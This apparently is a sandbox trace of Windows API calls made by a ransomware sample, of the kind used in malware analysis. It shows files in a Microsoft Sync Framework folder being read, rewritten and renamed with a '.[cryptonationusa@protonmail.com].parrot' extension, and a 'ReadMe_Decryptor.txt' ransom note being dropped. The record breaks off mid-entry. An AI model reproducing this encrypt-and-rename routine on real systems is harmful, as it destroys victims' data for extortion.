[0244.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.598] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.598] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0244.599] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.600] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1afd7, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1afd7, lpOverlapped=0x0) returned 1 [0244.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0244.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0244.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0244.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0244.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0244.601] GetLastError () returned 0x0 [0244.605] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0244.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0244.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x319e470 [0244.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0244.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0244.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0244.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0244.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0244.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0244.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0244.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0244.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0244.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0244.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0244.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0244.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0244.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0244.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0244.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x315c048 [0244.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0244.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x327e548 [0244.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315c048 | out: hHeap=0x5b0000) returned 1 [0244.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x3282c98 [0244.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x327e548 | out: hHeap=0x5b0000) returned 1 [0244.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3289778 [0244.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3282c98 | out: hHeap=0x5b0000) returned 1 [0244.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3370088 [0244.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3289778 | out: hHeap=0x5b0000) returned 1 [0244.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x327e548 [0244.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3370088 | out: hHeap=0x5b0000) returned 1 [0244.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x3370088 [0244.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x327e548 | out: hHeap=0x5b0000) returned 1 [0244.610] WriteFile (in: hFile=0x288, lpBuffer=0x33700a0*, nNumberOfBytesToWrite=0x1b0f8, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x33700a0*, lpNumberOfBytesWritten=0x18e8f4*=0x1b0f8, lpOverlapped=0x0) returned 1 [0244.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3370088 | out: hHeap=0x5b0000) returned 1 [0244.616] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b0ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0244.616] CloseHandle (hObject=0x288) returned 1 [0244.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x315a3b8 [0244.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x645630 [0244.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315a3b8 | out: hHeap=0x5b0000) returned 1 [0244.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645630 | out: hHeap=0x5b0000) returned 1 [0244.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0244.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0244.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b4e0 [0244.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x315a3b8 [0244.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0244.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0244.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0244.624] GetFileType (hFile=0x288) returned 0x1 [0244.624] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0244.638] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.638] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1dd16b40, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1dd16b40, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.640] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd16b40, ftCreationTime.dwHighDateTime=0x1d5e09e, ftLastAccessTime.dwLowDateTime=0x1dd16b40, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1dd3cca0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0244.640] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0244.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.640] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.640] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.640] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1dd16b40, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1dd16b40, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1 [0244.640] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1dd16b40, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1dd16b40, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0 [0244.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0244.640] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0244.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0244.641] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0244.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173da8 [0244.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fa7f0 | out: hHeap=0x5b0000) returned 1 [0244.641] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0244.641] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.641] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.641] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.641] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0244.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173da8 | out: hHeap=0x5b0000) returned 1 [0244.641] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0244.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0244.641] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0244.641] lstrcmpW (lpString1="Runtime", lpString2=".") returned 1 [0244.641] lstrcmpW (lpString1="Runtime", lpString2="..") returned 1 [0244.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60baf8 [0244.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x6586e8 [0244.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0244.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0244.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0244.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.641] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.642] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.642] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.642] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.642] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.642] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0244.642] lstrcmpW (lpString1="x64", lpString2=".") returned 1 [0244.642] lstrcmpW (lpString1="x64", lpString2="..") returned 1 [0244.642] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0244.642] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x606108 [0244.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68de88 | out: hHeap=0x5b0000) returned 1 [0244.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.642] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0244.642] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.642] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.647] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.647] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.647] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.647] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.647] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0244.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0244.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.647] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.648] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.648] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.648] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.648] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.648] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.648] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0244.648] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0244.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6588b0 [0244.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x2262060 [0244.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0244.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0244.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.648] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0244.648] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.648] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 